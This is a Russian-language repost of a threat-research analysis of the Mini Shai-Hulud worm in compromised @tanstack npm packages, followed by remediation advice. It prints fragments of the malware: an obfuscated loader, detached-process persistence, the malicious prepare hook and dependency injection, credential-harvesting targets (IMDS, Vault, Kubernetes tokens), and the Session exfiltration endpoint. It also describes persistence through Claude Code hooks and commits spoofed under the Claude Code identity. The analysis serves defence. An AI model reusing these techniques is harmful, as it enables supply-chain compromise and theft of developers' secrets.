|
|
|
Professor Seleznov
|
 Команда Socket Threat Research обнаружила компрометацию 84 npm-пакетов в пространстве @tanstack: в них внедрили вредоносный имплант Mini Shai-Hulud, нацеленный на кражу учётных данных и секретов из CI/CD-сред, включая GitHub Actions. Атака особенно опасна тем, что вредонос автоматически запускается при установке зависимостей через lifecycle-хуки npm, а среди затронутых пакетов есть крайне популярные — например, @tanstack/react-router с более чем 12 млн загрузок в неделю. Всё это делает инцидент серьёзной угрозой для безопасности цепочки поставок ПО. В статье подробнее разберём механизм заражения, риски для разработчиков и компаний, а также первоочередные меры реагирования — от проверки зависимостей до ротации секретов и аудита CI-пайплайнов. Принцип работы червя Все вредоносные версии пакетов содержат новый файл router_init.js, размером около 2,3 МБ. Он сильно обфусцирован с использованием шаблонов, характерных для javascript-obfuscator (ротация массивов строк, обращения к идентификаторам в hex-формате вроде _0x253b, выравнивание потока управления внутри автоматов состояний while(!![]){}, внедрение мёртвого кода). Это заметно отличает вредонос от обычных минификаторов, таких как Terser, esbuild или swc. Файл включает:
- демонизацию на основе spawn с защитой от повторного входа через DAEMONIZED и отделённым stdio;
- доступ к переменным окружения GITHUB_* (секреты, доступные только в Actions/CI, включая токены и идентификатор пользователя/актора);
- промежуточное размещение данных во временной директории с жизненным циклом чтение/запись/удаление;
- а также операции удалённой потоковой передачи/отправки данных.
Недавно опубликованные версии также содержат следующее добавленное поле optionalDependencies в файле package.json, которое указывает на коммит в репозитории TanStack/router с хешем коммита 79ac49eedf774dd4b0cfa308722bc463cfe5885c.
"optionalDependencies": { "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c" }
Этот коммит вызывает серьезные подозрения. Он автономен и не имеет родительской истории. В него добавлены всего два файла: package.json и tanstack_runner.js. Файл package.json определяет пакет с именем @tanstack/setup и регистрирует хук жизненного цикла prepare, который выполняет команду bun run tanstack_runner.js && exit 1. Поскольку хуки жизненного цикла npm запускаются автоматически при установке зависимостей на основе git, это позволяет запускать произвольный код на рабочих станциях разработчиков или в системах CI во время установки. Автор коммита — аккаунт GitHub voicproducoes, чьи публичные репозитории включают проекты с названиями типа «A Mini Shai-Hulud has Appeared». Это может указывать на то, что этот взлом, вероятно, связан с недавними крупномасштабными кампаниями по распространению вредоносного ПО в цепочке поставок npm, а также свидетельствует о том, что аккаунт был скомпрометирован. В постмортеме TanStack компрометация объясняется цепочкой атак на GitHub Actions, включающей паттерн pull_request_target «Pwn Request» → отравление кэша GitHub Actions через границу доверия fork-to-base → извлечение токена OIDC из памяти во время выполнения из процесса GitHub Actions runner. Команда TanStack заявила, что токены npm не были украдены, а рабочий процесс публикации npm не был скомпрометирован. Вместо этого вредоносный код запустили в CI, после чего пакеты были опубликованы в npm от имени проекта через доверенную OIDC-связку. Как проверить свою систему и минимизировать последствия взлома:
- Проведите первичную проверку:Выполните shasum -a 256 для всех файлов router_init.js в дереве ваших зависимостей. Сверьте результат с хешем:
ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c.
- Смените все секреты на любых системах, где была установлена затронутая версия @tanstack/*.
Приоритет такой:
- токены npm;
- GitHub PAT-токены / OIDC-доверия;
- учётные данные AWS (как статические ключи, так и роли инстансов);
- токены Vault;
- токены service account в Kubernetes.
- Отзовите права федерации OIDC для GitHub Actions у всех npm-пакетов, опубликованных из затронутых репозиториев; восстанавливайте их только после подтверждения, что workflow публикации не был изменён злоумышленниками.
- Проверьте директории .claude/ и .vscode/
во всех домашних каталогах разработчиков и в корнях проектов. Удалите router_runtime.js, setup.mjs, а также любые незнакомые записи в хуках settings.json или в tasks.json.
- Просмотрите последние коммиты в ваших GitHub-репозиториях от автора claude@users.noreply.github.com, если они не были созданы через легитимное GitHub-приложение Claude Code.
Чтобы найти такие коммиты, используйте:
git log --all --[url=mailto:author=claude@users.noreply.github.com]author=claude@users.noreply.github.com[/url]
Если такие коммиты обнаружены — отмените их и выполните force-push.
- Проверьте логи публикации npm на предмет неожиданных публикаций пакетов вашей организации, особенно версий, опубликованных из раннеров GitHub Actions без участия члена команды.
- Заблокируйте исходящие соединения к filev2.getsession[.]org
и связанной инфраструктуре Session на периметре сети, если она не используется в вашей работе. Поскольку диапазон IP-адресов сети сервисных узлов Session распределённый, блокировка на уровне DNS для .getsession.org будет эффективнее, чем правила по IP.
- Внедрите Subresource Integrity или проверку lock-файлов пакетовс зафиксированным полем integrity для всех пакетов @tanstack/* в package-lock.json или pnpm-lock.yaml. Любая версия с несовпадением хеша должна блокировать CI.
- Ограничьте области действия OIDC-токенов в workflow GitHub Actions:
установите permissions: id-token: none во всех workflow, которым OIDC-публикация явно не нужна, и выдавайте разрешение id-token: write только конкретной задаче, которая выполняет публикацию.
- Не полагайтесь только на бейджи происхождения Sigstore как на показатель безопасности.
Этот вредоносный имплант показывает, что злоумышленник, получивший возможность выполнять код в GitHub Actions, способен создавать формально корректные Sigstore-аттестации для вредоносных пакетов.
Ниже приведена таблица, которая поможет отследить скомпрометированные артефакты пакетов во всех волнах кампании Mini Shai-Hulud.
Анализ взлома Разберём, как действует вредоносный пакет: его обфускацию и логику работы в CI-среде. Файл начинается с типичного для obfuscator.io / JavaScript Obfuscator алгоритма ротации массива строк. Это самовызывающаяся функция, которая формирует большой внутренний массив строк, а затем многократно ротирует его до тех пор, пока не найдет совпадающую числовую контрольную сумму. Все строковые литералы в полезной нагрузке заменяются вызовами этого массива через функцию-диспетчер.
// Первые 500 bytes — string-array rotation bootstrap const _0x5b1880=_0x253b; (function(_0x4116b8,_0x2320bb){ const _0x5f1a07=_0x253b, _0x5cdc04=_0x4116b8(); while(!![]){ try{ const _0x22fd2a = parseInt(_0x5f1a07(0xf54))/0x1 + parseInt(_0x5f1a07(0x806))/0x2 * (parseInt(_0x5f1a07(0x13c4))/0x3) + parseInt(_0x5f1a07(0xb77))/0x4 * (parseInt(_0x5f1a07(0x1f0f))/0x5) ...
Основной диспетчер 0x5b1880вызывается 2 864 раза только в одной строке исходного кода. Помимо уровня 0x, злоумышленник реализовал второй уровень декодирования с помощью пользовательской функции beautify(). Эта функция принимает строки зашифрованного текста в кодировке base64 и декодирует их во время выполнения — вероятно, с помощью XOR или AES. Затем результат используется в качестве аргумента для process.env[]. Такое двойное кодирование специально разработано для предотвращения простого извлечения имен переменных окружения с помощью grep:
// 148 beautify()-encoded process.env accesses, e.g.: process.env[beautify('rX54ou2uVvizjlyyIxhohB/m')] process.env[beautify('ZMIw5arFv0MJjr8UDH9n9RFjuHI5PQk=')] process.env[beautify('th5/odSUZxX2AzAEMHt56vHtaBJ1CGwHPhvy7CD3JeZG//RWUsMqMmU=')] process.env[beautify('kQQPsysgrZ5xrgrKwUM9tHhoYd5XTPQYyuHTVSFPGNnbfw==')] // ...and 144 более
Имена переменных в открытом виде для этих beautify()-блоков неизвестны без динамического выполнения или извлечения ключей. Подтверждённые обращения к process.env в открытом виде (не в закодированном) перечислены ниже в этапе 2 и этапе 3. Закодированный набор, вероятно, включает оставшуюся часть набора GITHUB_*, полные имена AWS-учётных данных и пути Vault, упомянутые ниже. Демонизация и закрепление Имплант начинает выполнение с проверки наличия process.env.__DAEMONIZED. Если эта переменная не установлена, текущий процесс немедленно создаёт отделённую (detached) копию самого себя с stdioи устанавливает её в ['ignore','ignore','ignore'], отрывая дочерний процесс от стандартных потоков родительского процесса. После этого родительский процесс корректно завершается. Это гарантирует, что вредоносная нагрузка не будет видна в выводе npm install или при выполнении скриптов, а дочерний процесс будет полностью отвязан от терминальной сессии, из которой происходила установка.
// Защита от повторного форка демона — срабатывает только при первом запуске if (process.env.__DAEMONIZED) return !0x1; // уже переведён в режим демона, пропустить // Запустить отсоединённый процесс со всеми подавленными потоками stdio spawn(..., { detached: true, stdio: ['ignore', 'ignore', 'ignore'] }).unref();
Вызов unref() гарантирует, что Node.js не будет ждать завершения дочернего процесса перед выходом, из-за чего завершение родительского процесса выглядит полностью штатным. После запуска в отделённом режиме имплант записывает свои копии в два каталога, связанных с инструментами разработчика, чтобы сохраняться после перезагрузок и последующих запусков этих инструментов:
# Claude Code hooks persistence .claude/router_runtime.js ← self-copy of implant body .claude/settings.json ← Claude hooks config (runs implant on tool events) .claude/setup.mjs ← ESM loader shim # VS Code task runner persistence .vscode/setup.mjs ← ESM loader shim .vscode/tasks.json ← VS Code task definition, runs setup.mjs on folder open
Запись в .claude/settings.json особенно коварна. Claude Code поддерживает конфигурацию hooks, которая выполняет shell-команды в ответ на события инструментов (редактирование файлов, запуск bash и т. п.). Записывая себя в эту конфигурацию, имплант гарантирует своё повторное выполнение каждый раз, когда разработчик использует Claude Code в затронутой директории проекта, даже если исходный npm-пакет уже удалён. Путь через .vscode/tasks.json предоставляет независимый вектор выполнения за счёт функции автозапуска задач рабочего пространства в VS Code. Вместе эти два механизма закрепления означают, что простого npm uninstall недостаточно для устранения последствий заражения. Определение среды выполнения Прежде чем приступать к сбору учётных данных, имплант профилирует среду выполнения по трём измерениям: CI-платформа, операционная система и JavaScript-рантайм. Такая логика позволяет избежать шумных запросов к секретам в средах, где они либо не сработают, либо могут вызвать подозрения.
// Определение CI-платформы (в открытом виде) process.env.GITHUB_REPOSITORY // основной признак CI process.env.RUNNER_OS // подтверждает раннер GitHub Actions // Таргетинг по ОС — охвачены три платформы process.platform === 'linux' process.platform === 'darwin' process.platform === 'win32'
Имплант содержит большие платформозависимые массивы, скрытые за вызовами beautify() — в частности, видно eS['LINUX'], которое разворачивается в десятки декодированных строк с путями. Это указывает на наличие условных путей сбора учётных данных в зависимости от платформы, например разных расположений shell-профилей в Linux и macOS. Запрос к npms.io, замеченный среди сетевых индикаторов, также указывает на то, что имплант на ранней стадии выполнения обращается к сети по адресу https://npms.io/search?q=ponyfill — вероятно, чтобы разрешить зависимость или проверить доступность сети перед началом эксфильтрации. Далее рассмотрим три основных этапа работы вредоносного скрипта: сначала он собирает учётные данные из CI/CD-окружения, затем использует их для распространения npm-червя, а на финальном этапе пытается отравлять репозитории через GitHub GraphQL API, коммитя вредоносные файлы напрямую в ветки мейнтейнеров. Этап 1 — Сбор учётных данных Это наиболее масштабная стадия работы импланта. На этом этапе он систематически обходит все основные плоскости хранения секретов, доступные в современных cloud-native CI-средах, используя как прямое чтение переменных окружения, так и активные API-запросы. GitHub Actions Сбор учётных данных в Actions нацелен на пространство переменных окружения раннера и дополнительно обращается к GitHub API, чтобы перечислить секреты на уровне репозитория:
# Подтверждённые чтения переменных окружения в открытом виде GITHUB_REPOSITORY GITHUB_REPOSITORY_ID GITHUB_SERVER_URL GITHUB_WORKFLOW_REF GITHUB_EVENT_NAME ACTIONS_ID_TOKEN_REQUEST_TOKEN ACTIONS_ID_TOKEN_REQUEST_URL ← используется для получения OIDC-токена (Stage 4) # Вызов GitHub REST API — постраничное перечисление секретов GET https://api.github.com/repos/<GITHUB_REPOSITORY&...ets?per_page=100
Параметр per_page=100 — это максимальное значение, разрешённое GitHub API, то есть одним запросом можно получить полный список секретов для любого репозитория, к которому раннер имеет административный доступ. AWS Сбор данных из AWS работает сразу по четырём различным источникам учётных данных, охватывая практически все основные модели развёртывания AWS:
# Чтение переменных окружения (в открытом виде) AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_REGION AWS_ROLE_ARN AWS_WEB_IDENTITY_TOKEN_FILE ← IRSA / workload identity на базе OIDC # EC2/ECS Instance Metadata Service http://169.254.169.254/latest/api/token ← IMDSv2 PUT-запрос для получения session token (заголовок: X-aws-ec2-metadata-token-ttl-seconds) http://169.254.170.2 ← ECS Task Metadata Endpoint v2 # AWS service APIs (идентификаторы видны в файле в открытом виде) secretsmanager ← AWS Secrets Manager ssm ← Systems Manager Parameter Store
Поток работы с IMDSv2 реализован корректно: имплант сначала получает сессионный токен через PUT /latest/api/token с заголовком X-aws-ec2-metadata-token-ttl-seconds, а затем использует возвращённый токен в заголовках X-aws-ec2-metadata-token при последующих запросах к metadata-сервису. Это не наивная попытка работы через IMDSv1; такой подход будет работать даже на защищённых инстансах, где IMDSv1 отключён. Название функции executeForRegion, видимое в открытом виде, указывает на то, что запросы к Secrets Manager и SSM Parameter Store, вероятно, выполняются последовательно по нескольким регионам, а не только по текущему региону раннера. Это максимизирует охват возможных секретов в аккаунтах с multi-region-развёртыванием. HashiCorp Vault
# Чтение переменных окружения Vault VAULT_TOKEN VAULT_AUTH_TOKEN VAULT_ADDR # Внутренний сервисный endpoint кластера Vault vault.svc.cluster.local:8200 ← внутренний Kubernetes API-адрес Vault # Путь к токену Vault (присутствует частичный URL-фрагмент) vault/token
Endpoint svc.cluster.local:8200 — это стандартное DNS-имя Kubernetes для pod’а Vault, развернутого внутри кластера. Это означает, что имплант явно нацелен на Vault, работающий внутри Kubernetes, а не только на standalone-развёртывания. В сочетании с описанным ниже сбором данных из Kubernetes service account это даёт полную цепочку получения учётных данных: украсть токен service account Kubernetes → использовать его для аутентификации в Vault → получить все секреты, хранящиеся в Vault. Kubernetes
# Пути к учётным данным в файловой системе /var/run/secrets/kubernetes.io/serviceaccount/ca.crt namespace # ← читает файл namespace service account # Вероятно, также читает (путь присутствует в той же директории, но закодирован через beautify): # /var/run/secrets/kubernetes.io/serviceaccount/token
Сертификат центра сертификации service account (ca.crt) используется для проверки TLS-соединений с Kubernetes API server, а файл token (закодирован, а не указан в открытом виде) содержит JWT bearer token, применяемый для аутентификации. Вместе они дают полный внутрикластерный доступ к API в пределах RBAC-привилегий, назначенных service account данного pod’а — а во многих ошибочно настроенных кластерах это означает доступ уровня cluster-admin. Этап 2 — Распространение npm-червя Способность импланта к самораспространению — его наиболее опасное свойство с точки зрения экосистемы. Он использует механизм федерации OIDC в GitHub Actions, изначально предназначенный для публикации без пароля, чтобы выпустить действительный токен публикации npm от имени скомпрометированной CI-идентичности.
# Получение OIDC-токена (раннер GitHub Actions) ACTIONS_ID_TOKEN_REQUEST_TOKEN ← предоставляемый GitHub токен авторизации для OIDC-запроса ACTIONS_ID_TOKEN_REQUEST_URL ← endpoint, к которому обращаются для получения JWT OIDC-токена # Проверка npm-токена https://registry.npmjs.org/-/npm/v1/tokens ← подтверждение валидности токена / whoami # Публикация publishPackage() ← упаковывает и публикует имплант tarball / .tgz ← формат архива пакета tar.zst ← вариант со сжатием zstd dist-tags ← внедряет имплант под существующими dist-tag’ами (например, `latest`) oidcToken ← выпущенный JWT OIDC, используемый как npm-аутентификация
Процесс распространения импланта выглядит так: 1. Он запрашивает JWT OIDC у endpoint’а токенов Actions. 2. Обменивает токен Actions на npm-токен публикации через механизм доверительной OIDC-федерации npm. 3.пределяет пакеты, принадлежащие сопровождающему (через поиск в npms.io) 4. Упаковывает копию router_init.js в архив .tgz или tar.zst. 5. Публикует пакет под dist-tag’ом latest. Если разработчик после этого выполнит npm install для целевого пакета, то он скачает червя. Наличие строки sigstore в файле указывает на то, что после публикации имплант также отправляет аттестацию происхождения Sigstore в transparency log. Это особенно обманчиво: бейджи provenance в npm специально предназначены для повышения доверия, и пакет, опубликованный имплантом, но имеющий значок «verified provenance», легко пройдёт поверхностную проверку безопасности. Запись provenance будет указывать на контролируемый атакующим запуск GitHub Actions, выполнивший публикацию, однако сама запись в журнале создаёт видимость легитимности пакета. Этап 3 — Отравление репозиториев через GitHub GraphQL Помимо распространения через npm, имплант атакует исходные репозитории мейнтейнеров, чьи учётные данные ему удалось собрать. Используя GitHub GraphQL API и украденный токен, он коммитит свои копии напрямую в ветки репозиториев.
# GitHub GraphQL mutation — подтверждённо присутствует в файле в открытом виде createCommitOnBranch ← создаёт коммиты без локального git clone # Целевые пути, в которые идёт запись в репозиториях мейнтейнеров .github/workflows/ ← внедрение в определения CI-пайплайнов .claude/router_runtime.js .claude/settings.json .claude/setup.mjs .vscode/setup.mjs .vscode/tasks.json # Подменённая личность автора коммита claude@users.noreply.github.com ← имитирует учётную запись бота Claude Code
Мутация GraphQL createCommitOnBranch работает напрямую через API GitHub и не требует ни локальной установки git, ни клонирования репозитория. Это означает, что данный этап одинаково выполняется как на CI-раннере, так и на рабочей станции разработчика. Автор коммита подделывается под claude@users.noreply.github.com, то есть под легитимное GitHub-приложение Anthropic Claude Code. В репозиториях, где Claude Code уже одобрен как интеграция, такой коммит может выглядеть как обычная активность и не вызвать подозрений. Примечание: для маскировки червь копирует себя под именем файлаrouter_runtime.js. Это имя уже использовалось в предыдущих кампаниях Mini Shai-Hulud. Чтобы понять, как атака работала на практике, дальше стоит рассмотреть два ключевых элемента: канал эксфильтрации данных через сеть Session и одну из выявленных версий полезной нагрузки — tanstack_runner.js Эксфильтрация через P2P-сеть Session Имплант использует необычный канал управления и вывода данных: вместо стандартного HTTPS-маяка на сервер злоумышленника он направляет все собранные учётные данные через децентрализованную сеть обмена сообщениями Session. Полный стек протокола Session, включая схему Protocol Buffers signalservice, встроен прямо в полезную нагрузку размером 2,3 МБ.
# Основная точка эксфильтрации http://filev2.getsession[.]org/file/ ← endpoint файлового сервера Session # Встроенные внутренние компоненты протокола Session в payload signalservice.Envelope signalservice.Content signalservice.DataMessage signalservice.WebSocketMessage signalservice.SharedConfigMessage signalservice.CallMessage signalservice.DataExtractionNotification # P2P-маршрутизация executeStreaming ← отправляет данные через сеть service node Session snode ← объект маршрутизации service node
Маршрутизация эксфильтрации через сеть snode в Session означает, что трафик C2 выглядит как трафик обычного end-to-end encrypted мессенджера и на сетевом уровне практически неотличим от легитимного использования приложения Session. Функция executeStreaming отвечает за отправку данных через P2P-рой service node-узлов. tanstack_runner.js Этот файл представляет собой сильно обфусцированную JavaScript-нагрузку, нацеленную на среды Node.js/Bun. Хотя на первый взгляд он напоминает скомпилированный код приложения, по сути скрипт ведёт себя как похититель учётных данных, ориентированный на инфраструктуру CI/CD и системы разработчиков. Вредоносная программа перебирает process.env, проверяет наличие окружений GitHub Actions и runner’ов и пытается собрать секреты из GitHub, npm, AWS, Kubernetes и развёртываний Vault. Хотя этот файл и router_init.js, содержащий кражу учётных данных, нацеливание на CI и возможности публикации пакетов, во многом пересекаются, tanstack_runner.js дополнительно содержит механизм самораспространения, добавляющий вредоносную запись в optionalDependencies файла package.json. Файл использует классический обфускатор на основе массива строк, чтобы скрыть свою функциональность:
const _0x12ada1=_0x3782; (function(_0x2e175c,_0x465e49){ while(!![]){ try{ // rotates encoded string table } catch(e){} } }(_0x360f,0x18ffa));
- GITHUB_TOKEN
- NPM_TOKEN
- AWS_ACCESS_KEY_ID
- VAULT_TOKEN
- сервис метаданных EC2 по адресу 169.254.169.254
- локальный экземпляр Vault по адресу 127.0.0.1:8200
- путь к токену service account Kubernetes:
/var/run/secrets/kubernetes.io/serviceaccount/token
Вредоносная программа проверяет GitHub-токены через API GitHub и пытается получить доступ к метаданным IAM в EC2:
fetch("https://api.github.com/user", { headers: { Authorization: `token ${token}` } }); http.get( "http://169.254.169.254/latest/meta-data/iam/security-credentials/" )
Также в ней присутствует запуск дочернего процесса в отсоединённом режиме для закрепления:
spawn(process.argv[0], args, { detached: true, stdio: "ignore" }).unref();
Помимо кражи учётных данных, полезная нагрузка, по-видимому, реализует механизм распространения по цепочке поставок, предназначенный для заражения дополнительных npm-пакетов. Наиболее явный индикатор — процедура updateTarball(), которая извлекает tarball пакета, переписывает его package.json, внедряет вредоносную зависимость, увеличивает версию пакета и заново упаковывает архив для дальнейшего распространения. Внедряемая зависимость указывает на размещённый на GitHub пакет с именем @tanstack/setup:
_0x656e4f['optionalDependencies'] = {}; _0x656e4f[_0x407cba(0x23ce)][_0x2dbd91['HYCHH']] = 'github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c';
Соответствующее деобфусцированное поведение фактически выглядит так:
packageJson.optionalDependencies = {}; packageJson.dependencies["@tanstack/setup"] = "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c";
Указанный коммит GitHub выглядит особенно подозрительно, поскольку он добавляет отдельный пакет, содержащий lifecycle-хук prepare:
{ "scripts": { "prepare": "bun run tanstack_runner.js && exit 1" } }
Поскольку npm автоматически выполняет lifecycle-хуки для зависимостей, установленных из Git-репозиториев, любая последующая установка модифицированного пакета автоматически запустит tanstack_runner.js на следующей машине-жертве или CI-runner’е. Логика распространения и техники внедрения зависимостей очень похожи на методы, ранее задокументированные в недавних компрометациях цепочки поставок npm и PyPI, проанализированных Socket, включая инциденты Intercom, Lightning AI и SAP CAP. В частности, использование вредоносной программой зависимостей, размещённых на GitHub, вредоносных lifecycle-хуков (prepare), нацеливания на учётные данные CI/CD и автоматизированной модификации пакетов уже наблюдалось в предыдущих волнах этой кампании. Послесловие Инцидент с @tanstack в очередной раз показал, что GitHub Actions остаётся слабым звеном в безопасности supply chain. Вредонос был специально нацелен на CI-среду GitHub: он собирал переменные окружения раннера, получал данные для запроса OIDC-токена и обращался к GitHub API для перечисления секретов репозитория. Это важно не только для TanStack. Если один workflow или раннер скомпрометирован, под угрозой оказываются токены, секреты и вся дальнейшая цепочка сборки и публикации. Этот случай лишь подтверждает, что GitHub Actions всё чаще становится удобной точкой входа для атак на инфраструктуру.-Источник
|
|
|
|